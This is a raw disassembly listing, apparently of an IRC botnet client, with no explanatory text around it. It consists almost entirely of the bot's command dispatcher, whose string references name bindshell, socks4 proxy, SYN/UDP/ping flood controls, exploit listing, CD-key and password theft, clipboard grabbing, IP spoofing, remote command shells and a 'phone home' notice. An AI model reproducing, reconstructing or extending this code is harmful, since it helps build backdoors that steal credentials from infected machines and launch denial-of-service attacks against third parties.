loc_4026C2: ; CODE XREF: sub_401ACD+BB1j
; sub_401ACD+BB8j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FD
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 18h
loc_4026FD: ; CODE XREF: sub_401ACD+BCAj
; sub_401ACD+BDEj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402656
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271A: ; CODE XREF: sub_401ACD+C99j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_40275D
mov eax, [edi]
cmp eax, ebx
jz short loc_40275D
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
loc_40275D: ; CODE XREF: sub_401ACD+C75j
; sub_401ACD+C7Bj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271A
mov [ebp+var_2C8], 1
loc_402772: ; CODE XREF: sub_401ACD+B01j
; sub_401ACD+B2Fj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278B
cmp [ebp+var_2C8], ebx
jz loc_40297C
loc_40278B: ; CODE XREF: sub_401ACD+CB0j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_417EEE
lea eax, [ebp+var_C4]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_417EEE
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_417EEE
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_417EEE
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_417EEE
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 14h
loc_4027FD: ; CODE XREF: sub_401ACD+E28j
test eax, eax
jz loc_4028FA
push edi
push [ebp+arg_0]
call sub_41B900
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B5F0
lea eax, [ebp+var_A0]
push offset asc_42CDDC ; ")"
push eax
call sub_41C0F4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_402849
cmp [ebp+var_A0], 39h
jle short loc_40285F
loc_402849: ; CODE XREF: sub_401ACD+D71j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B5F0
add esp, 0Ch
loc_40285F: ; CODE XREF: sub_401ACD+D7Aj
lea eax, [ebp+var_A0]
push eax
call sub_41B779
test eax, eax
pop ecx
jle short loc_402885
lea eax, [ebp+var_A0]
push eax
call sub_41B779
pop ecx
mov [ebp+var_94], al
jmp short loc_402899
; ---------------------------------------------------------------------------
loc_402885: ; CODE XREF: sub_401ACD+DA1j
call sub_41B8E2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_402899: ; CODE XREF: sub_401ACD+DB6j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41AFE0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B590
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 30h
jmp loc_4027FD
; ---------------------------------------------------------------------------
loc_4028FA: ; CODE XREF: sub_401ACD+D32j
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4AF0]
push offset asc_42D0F0 ; " "
push eax
call sub_41C0F4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40294A: ; CODE XREF: sub_401ACD+E92j
push offset asc_42D0F0 ; " "
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40294A
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297C: ; CODE XREF: sub_401ACD+CB8j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aRn ; "rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aDie ; "die"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aD ; "d"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aLogout ; "logout"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aLo ; "lo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aVersion ; "version"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aVer ; "ver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aDedication ; "dedication"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aDed ; "ded"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSt ; "st"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsecure ; "unsecure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsec ; "unsec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aBindshell ; "bindshell"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBd ; "bd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B40
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CD30
loc_402B24: ; CODE XREF: sub_401ACD+10C1j
; sub_401ACD+10E7j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B384
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B40: ; CODE XREF: sub_401ACD+1042j
push edi
push offset aSocks4 ; "socks4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aS4 ; "s4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B90
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42CD08
jmp short loc_402B24
; ---------------------------------------------------------------------------
loc_402B90: ; CODE XREF: sub_401ACD+10ACj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB9
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42CCEC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BB9: ; CODE XREF: sub_401ACD+10D2j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE2
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42CCD0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BE2: ; CODE XREF: sub_401ACD+10FBj
push edi
push offset aLogstop ; "logstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0B
push [ebp+esi+var_8C]
push 25h
push offset dword_42CCBC
push offset dword_42CCB0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C0B: ; CODE XREF: sub_401ACD+1124j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C34
push [ebp+esi+var_8C]
push 18h
push offset dword_42CC90
push offset dword_42CC80
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C34: ; CODE XREF: sub_401ACD+114Dj
push edi
push offset dword_42CC74
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5D
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42CC68
push offset dword_42CC5C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C5D: ; CODE XREF: sub_401ACD+1176j
push edi
push offset aSynstop ; "synstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C86
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42CC48
push offset dword_42CC3C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C86: ; CODE XREF: sub_401ACD+119Fj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CAF
push [ebp+esi+var_8C]
push 10h
push offset dword_42CC20
push offset dword_42CC10
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CAF: ; CODE XREF: sub_401ACD+11C8j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD8
push [ebp+esi+var_8C]
push 11h
push offset dword_42CBF4
push offset dword_42CBE4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CD8: ; CODE XREF: sub_401ACD+11F1j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402D01
push [ebp+esi+var_8C]
push 12h
push offset dword_42CBCC
push offset dword_42CBC0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402D01: ; CODE XREF: sub_401ACD+121Aj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402E57
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42CC68
push offset dword_42CC5C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 0Eh
push offset dword_42CC48
push offset dword_42CC3C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 17h
push offset dword_42CBA8
push offset dword_42CB9C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 16h
push offset dword_42CB90
push offset dword_42CB84
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 11h
push offset dword_42CBF4
push offset dword_42CBE4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 12h
push offset dword_42CBCC
push offset dword_42CBC0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 0Fh
push offset dword_42CB74
push offset dword_42CB64
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 13h
push offset dword_42CB54
push offset dword_42CB44
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 10h
push offset dword_42CC20
push offset dword_42CC10
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push ebx
push [ebp+var_4]
push offset unk_42CB10
push [ebp+var_88]
push edi
call sub_409A72
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E57: ; CODE XREF: sub_401ACD+1243j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402E80
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42CB74
push offset dword_42CB64
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402E80: ; CODE XREF: sub_401ACD+1399j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA9
push [ebp+esi+var_8C]
push 13h
push offset dword_42CB54
push offset dword_42CB44
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EA9: ; CODE XREF: sub_401ACD+13C2j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED2
push [ebp+esi+var_8C]
push 17h
push offset dword_42CBA8
push offset dword_42CB9C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402ED2: ; CODE XREF: sub_401ACD+13EBj
push edi
push offset aPingstop ; "pingstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFB
push [ebp+esi+var_8C]
push 16h
push offset dword_42CB90
push offset dword_42CB84
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EFB: ; CODE XREF: sub_401ACD+1414j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402F24
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42CAC8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402F24: ; CODE XREF: sub_401ACD+143Dj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aFfstop ; "ffstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aProcsstop ; "procsstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aPsstop ; "psstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aClonestop ; "clonestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA1
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42CA78
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FA1: ; CODE XREF: sub_401ACD+14BAj
push edi
push offset aSecurestop ; "securestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCA
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42CA54
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FCA: ; CODE XREF: sub_401ACD+14E3j
push edi
push offset aScanstop ; "scanstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF3
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42CA34
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FF3: ; CODE XREF: sub_401ACD+150Cj
push edi
push offset aScanstats ; "scanstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aStats ; "stats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aTransferstats ; "transferstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aTrstats ; "trstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aCbstats ; "cbstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aExplist ; "explist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aReconnect ; "reconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aDisconnect ; "disconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aDc ; "dc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aQuit_0 ; "quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aQ ; "q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aStatus ; "status"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aS_0 ; "s"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aId ; "id"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aI ; "i"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aReboot ; "reboot"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4031BF
call sub_418337
test eax, eax
mov eax, offset unk_42C970
jnz short loc_403191
mov eax, offset unk_42C948
loc_403191: ; CODE XREF: sub_401ACD+16BDj
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 1Ch
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4031BF: ; CODE XREF: sub_401ACD+16AFj
push edi
push offset aThreads ; "threads"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aT ; "t"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aAliases ; "aliases"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aAl ; "al"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aLog ; "log"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aLg ; "lg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aClearlog ; "clearlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aClg ; "clg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aNetinfo ; "netinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aNi ; "ni"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aSi ; "si"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aProcs ; "procs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aPs ; "ps"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aKey ; "key"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aUptime ; "uptime"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aUp ; "up"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aDrv ; "drv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aTestdlls ; "testdlls"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aDll ; "dll"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aOpencmd ; "opencmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aOcmd ; "ocmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40340A
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C888
push offset dword_42C87C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_40340A: ; CODE XREF: sub_401ACD+1923j
push edi
push offset dword_42C878
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_403527
cmp [ebp+var_8], ebx
jnz short loc_40343E
push ebx
push [ebp+var_4]
push offset dword_42C864
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40343E: ; CODE XREF: sub_401ACD+1955j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344C
; ---------------------------------------------------------------------------
loc_403449: ; CODE XREF: sub_401ACD+19CBj
mov eax, [ebp+arg_18]
loc_40344C: ; CODE XREF: sub_401ACD+197Aj
cmp [eax], bl
jz short loc_403453
inc eax
jmp short loc_403458
; ---------------------------------------------------------------------------
loc_403453: ; CODE XREF: sub_401ACD+1981j
mov eax, offset aEmpty ; "<Empty>"
loc_403458: ; CODE XREF: sub_401ACD+1984j
push eax
lea eax, [ebp+var_2C4]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_403449
push offset unk_42C830
call sub_4151AC
pop ecx
loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj
; sub_401ACD+2F43j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401E94
push edi
push offset aSpoof ; "spoof"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404AF4
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404A22
lea eax, [ebp+var_2C4]
push offset unk_42C7FC
push eax
mov dword_4CEDD8, ebx
call sub_41B886
pop ecx
pop ecx
loc_4034FD: ; CODE XREF: sub_401ACD+3022j
cmp [ebp+var_8], ebx
jnz loc_409854
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_40351F: ; CODE XREF: sub_401ACD+7118j
add esp, 14h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_403527: ; CODE XREF: sub_401ACD+194Cj
push edi
push offset aGetclip ; "getclip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aGc ; "gc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aFlusharp ; "flusharp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFarp ; "farp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFlushdns ; "flushdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aFdns ; "fdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aCurrentip ; "currentip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aCip ; "cip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aRlogin ; "rlogin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aHttpserver ; "httpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aHttp ; "http"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aTftp ; "tftp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aCrash ; "crash"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B3
lea eax, [ebp+var_2C4]
push offset dword_42C754
push eax
call sub_41B886
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403692
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403692: ; CODE XREF: sub_401ACD+1BA7j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C070
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj
push edi
push offset aAsn445 ; "asn445"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aPhonehome ; "phonehome"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_403707
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409A2C
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403707: ; CODE XREF: sub_401ACD+1C1Fj
push edi
push offset aFindpass ; "findpass"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40372D
push edi
push offset aFp ; "fp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4034A5
loc_40372D: ; CODE XREF: sub_401ACD+1C49j
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset unk_42C6E0
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1A
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_4037D5
loc_4037BF: ; CODE XREF: sub_401ACD+1D06j
cmp [ebp+var_EC8], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2820566h
jmp short loc_4037BF
; ---------------------------------------------------------------------------
loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j
nop
call near ptr 2830047h
push eax
push offset unk_42C6A4
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j
; sub_401ACD+1C0Aj
mov al, byte_431CAA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_431CAA
jz loc_401E94
mov ecx, edx
loc_4037FD: ; CODE XREF: sub_401ACD+1D38j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FD
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403817: ; CODE XREF: sub_401ACD+2008j
push 0Bh
call sub_40B33E
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403866
push ecx
lea eax, [ebp+var_2C4]
push offset unk_42C664
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_403ACC
; ---------------------------------------------------------------------------
loc_403866: ; CODE XREF: sub_401ACD+1D64j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431AC8, ebx
mov [ebp+var_734], 4Bh
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4038D7
mov edi, offset dword_431AC8
loc_40389B: ; CODE XREF: sub_401ACD+1DECj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4038BD
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389B
